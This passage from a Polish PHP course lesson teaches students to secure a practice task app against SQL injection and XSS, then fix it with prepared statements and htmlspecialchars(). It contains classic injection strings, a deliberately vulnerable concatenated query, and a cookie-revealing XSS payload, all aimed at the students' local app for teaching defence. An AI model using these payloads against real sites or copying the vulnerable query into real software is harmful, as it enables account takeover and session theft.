wszystkich</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, hash hasła</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login)</code></td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login, $haslo)</code>; <strong>dochodzi</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>11 funkcji</td><td><strong>dochodzą</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>sam login</td><td><strong>zmiana:</strong> login + hasło, wspólny komunikat błędu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code></td><td>nie ma</td><td><strong>nowy plik</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/.htaccess</code></td><td>nie ma</td><td><strong>nowy plik:</strong> zakaz wykonywania PHP</td></tr><tr><td>zadania, „Zrobione!”, usuwanie, avatar, ranking</td><td>działają</td><td><strong>działają tak samo</strong> (dochodzi tylko token i escapowanie)</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php                  NOWY
├── zaloguj.php                      (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php                      (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php                (zmiana: token, escapowanie)
├── oznacz-wykonane.php              (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php                 (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php                       (zmiana: token, escapowanie)
├── diagnostyka.php                  (zmiana: 23 ścieżki)
├── classes/                         bez zmian
├── config/config.php                bez zmian
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 2.2”)
│   ├── funkcje_sesji.php            (zmiana: funkcje tokenu)
│   ├── funkcje_tekstowe.php         (zmiana: walidacja logowania i rejestracji)
│   ├── funkcje_bazy.php             (zmiana: 2 nowe funkcje)
│   └── ... pozostałe                bez zmian
├── sql/taskquest.sql                (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
    └── .htaccess                    NOWY</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja21/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>Przygotuj <strong>dwie przeglądarki</strong>, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.</li>



<li>Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić <strong>już dziś</strong>:</p>



<ol class="wp-block-list">
<li><strong>Wejść na cudze konto.</strong> Wystarczy wpisać login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Loginy widać w rankingu.</li>



<li><strong>Wstrzyknąć kod do strony.</strong> Tytuł zadania <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;PHP&lt;/b&gt;</code> wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;</code>, przejdzie też <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code>.</li>



<li><strong>Kazać przeglądarce gracza wysłać formularz.</strong> Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.</li>



<li><strong>Podrzucić skrypt do katalogu avatarów.</strong> Walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> na to nie pozwala, ale plik może trafić do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/</code> inną drogą, np. przez błąd w kodzie.</li>
</ol>



<p class="wp-block-paragraph">Plan lekcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SQL injection   → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS             → htmlspecialchars() przy wyświetlaniu
CSRF            → token w każdym formularzu POST
konta z hasłem  → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess</code></pre>



<p class="wp-block-paragraph">Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.</p>



<h1 class="wp-block-heading">3. Atak 1: SQL injection</h1>



<h2 class="wp-block-heading">3.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">SQL injection (wstrzyknięcie SQL) zdarza się, gdy program <strong>skleja</strong> zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.</p>



<p class="wp-block-paragraph">Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
$login = "' OR '1'='1";   // „login” wpisany przez atakującego

// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '&lt;p&gt;Zapytanie: ' . $sql . '&lt;/p&gt;';

$wynik = $polaczenie-&gt;query($sql);
$wiersz = $wynik-&gt;fetch_assoc();

if ($wiersz === null) {
    echo '&lt;p&gt;Nie znaleziono nikogo.&lt;/p&gt;';
} else {
    echo '&lt;p&gt;Znaleziono: ' . $wiersz&#91;'login'] . '&lt;/p&gt;';
}</code></pre>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/brudnopis.php</code>. Zobaczysz zapytanie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'</code></pre>



<p class="wp-block-paragraph">Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się <strong>warunkiem</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;query()</code> wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.</p>
</blockquote>



<h2 class="wp-block-heading">3.2 SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Pod kodem z 3.1 dopisz w brudnopisie <strong>to samo wyszukiwanie</strong> napisane tak jak w TaskQuest: przez prepared statement, z tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code>. Wypisz „Znaleziono: &#8230;” albo „Nie znaleziono nikogo.”</p>



<p class="wp-block-paragraph">Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement <strong>nie znajduje nikogo</strong>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Schemat znasz z Lekcji 18: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> ze znakiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param(...);
// ...</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

if ($wiersz === null) {
    echo '&lt;p&gt;Prepared statement: nie znaleziono nikogo.&lt;/p&gt;';
} else {
    echo '&lt;p&gt;Prepared statement: znaleziono ' . $wiersz&#91;'login'] . '&lt;/p&gt;';
}</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego to działa?</strong> Przy prepared statement baza najpierw dostaje samo polecenie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, a dane przychodzą osobno. Baza wie, że wszystko w <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> to <strong>wartość</strong>, a nie fragment polecenia. Dlatego szuka użytkownika o loginie dosłownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Takiego nie ma.</p>



<p class="wp-block-paragraph">Sprawdź jeszcze w wersji sklejanej login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026' -- </code> (ze spacją na końcu). <code class="prettyprint lang-sql" style="font-size: 0.85em;">--</code> rozpoczyna w SQL komentarz, więc reszta zapytania zostaje wyłączona.</p>
</details>



<h2 class="wp-block-heading">3.3 Audyt TaskQuest</h2>



<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz w projekcie</strong> (brudnopis zostaw, przyda się w sekcji 6).</p>



<p class="wp-block-paragraph">W VS Code otwórz wyszukiwanie we wszystkich plikach (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+Shift+F</code>) i sprawdź:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;query(</code> — poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> nie powinno być <strong>ani jednego</strong> wyniku.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare(</code> — obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$...</code>)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</li>
</ol>



<p class="wp-block-paragraph">Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: <strong>jedna sklejona linijka wystarczy</strong>, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Materiał źródłowy pokazuje też ataki typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">'; DROP TABLE users; --</code>. Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> wykonuje tylko <strong>jedno</strong> polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.</p>
</blockquote>



<h2 class="wp-block-heading">3.4 Czego dziś nie robimy (krótko)</h2>



<p class="wp-block-paragraph">Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:</p>



<ul class="wp-block-list">
<li><strong>ograniczanie prób logowania</strong> (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,</li>



<li><strong>nagłówki bezpieczeństwa</strong>, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">X-Frame-Options</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">X-Content-Type-Options</code> — zadanie końcowe D,</li>



<li><strong>flagi ciasteczka sesji</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">HttpOnly</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SameSite</code> — zadanie końcowe B,</li>



<li><strong>HTTPS</strong> — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.</li>
</ul>



<h1 class="wp-block-heading">4. Atak 2: XSS</h1>



<h2 class="wp-block-heading">4.1 Na czym polega atak</h2>



<p class="wp-block-paragraph">XSS (<em>cross-site scripting</em>) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.</p>



<p class="wp-block-paragraph"><strong>Zaatakuj TaskQuest.</strong> Na koncie Kamy dodaj zadanie o tytule:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(document.cookie)"&gt;</code></pre>



<p class="wp-block-paragraph">Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID=...</code>. To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Obrazek <code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code> nie istnieje, więc przeglądarka wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">onerror</code>, czyli kod JavaScript. Samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script&gt;</code> w tytule też zadziała, ale wariant z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img&gt;</code> jest krótszy i działa w większej liczbie miejsc.</p>
</blockquote>



<p class="wp-block-paragraph">„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak <strong>obca strona</strong> wstawia takie zadanie na listę innego gracza.</p>



<p class="wp-block-paragraph">Usuń to zadanie przyciskiem „Usuń”.</p>



<h2 class="wp-block-heading">4.2 Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> zamienia znaki, które mają w HTML specjalne znaczenie, na <strong>encje</strong>, czyli zapis „pokaż ten znak jako tekst”:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Encja</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;gt;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;amp;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">"</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;quot;</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;#039;</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W brudnopisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$tytul = "&lt;b&gt;PHP&lt;/b&gt; i \"cudzysłów\"";

echo '&lt;p&gt;Bez ochrony: ' . $tytul . '&lt;/p&gt;';
echo '&lt;p&gt;Z ochroną: ' . htmlspecialchars($tytul) . '&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Ctrl+U</code>) i zobacz, co naprawdę wysłał PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;</code>.</p>



<p class="wp-block-paragraph">Od PHP 8.1 samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars($tekst)</code> zamienia <strong>oba</strong> rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (<code class="prettyprint lang-sql" style="font-size: 0.85em;">ENT_QUOTES, 'UTF-8'</code>), nie są już potrzebne.</p>



<h3 class="wp-block-heading">Reguła TaskQuest</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Każdy <strong>tekst</strong>, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> <strong>w momencie wyświetlania</strong>.</p>
</blockquote>



<p class="wp-block-paragraph">Z tej reguły wynikają trzy rzeczy:</p>



<ul class="wp-block-list">
<li><strong>Nie escapujemy</strong> liczb typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, XP, streak, poziom) ani tekstów wpisanych w kod (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>, komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code>, komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>).</li>



<li><strong>Nie escapujemy przed zapisem do bazy.</strong> Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.</li>



<li><strong>Escapujemy na samym końcu</strong>, po wszystkich innych zmianach tekstu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr()</code>). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.</li>
</ul>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li>Escapowanie w getterze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code> zwraca już <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;lt;...</code>) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje.</li>



<li>Escapowanie tylko treści między znacznikami, a pominięcie atrybutów <code class="prettyprint lang-sql" style="font-size: 0.85em;">value="..."</code>. Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13).</li>



<li>Założenie, że skoro login przeszedł <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>, to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.</li>
</ul>



<h2 class="wp-block-heading">4.3 SAMODZIELNIE — audyt wyświetlania</h2>



<p class="wp-block-paragraph">W plikach <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> znajdź <strong>każde</strong> miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>, i popraw te, które wymagają.</p>



<p class="wp-block-paragraph">Sposób sprawdzenia: dodaj zadanie z tytułem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;img src="x" onerror="alert(1)"&gt;</code> i opisem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;pogrubione?&lt;/b&gt;</code>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Szukaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?=</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>. Przy każdym zadaj pytanie: „czy tę wartość w całości napisałam/napisałem w kodzie? Czy to na pewno <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>?”. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> jest takich miejsc <strong>ponad 10</strong> (łącznie z rankingiem, powitaniem i literą avatara). Nie zapomnij o atrybutach <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> i o <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Wywołanie obejmuje <strong>wynik</strong> wszystkich innych funkcji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars(skrocOpis($zadanie-&gt;pobierzOpis())); ?&gt;</code></pre>



<p class="wp-block-paragraph">Komunikat wyjątku też jest tekstem spoza kodu. Może zawierać fragment danych albo zapytania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?= htmlspecialchars($bladZapisu); ?&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Miejsce</th><th>Escapujemy?</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>ramka awarii bazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>litera avatara: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr($uzytkownik-&gt;pobierzImie(), 0, 1)</code></td><td><strong>tak</strong> (cały wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_substr</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">src</code> avatara: <code class="prettyprint lang-sql" style="font-size: 0.85em;">KATALOG_AVATAROW . '/' . $uzytkownik-&gt;pobierzAvatar()</code></td><td><strong>tak</strong> (nazwa pliku pochodzi z bazy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Witaj, &#8230;!”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzImie()</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>„Zalogowano jako &#8230;”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzLogin()</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>tytuł najpilniejszego zadania</td><td><strong>tak</strong> (po <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>w pętli listy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulCzysty</code>, skrócony opis, termin</td><td><strong>tak</strong> (tytuł i opis po czyszczeniu i skracaniu)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>ranking: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$gracz['login']</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code>, XP, poziom, streak, <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w ukrytych polach, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczba...</code>, komunikat terminu</td><td>nie — tekst z kodu, wartość zawężona do listy albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> tytułu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> terminu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> XP, treść <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code></td><td><strong>tak</strong> (to tekst wpisany przez użytkownika, jeszcze przed walidacją)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$blad</code> w liście błędów</td><td>nie — komunikaty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> są wpisane w kod</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> loginu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code></td><td><strong>tak</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code></td><td>komunikat wyjątku w ramce awarii</td><td><strong>tak</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Przykład dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text" id="tytul" name="tytul" maxlength="100" value="&lt;?= htmlspecialchars($tytulZadania); ?&gt;" required&gt;</code></pre>



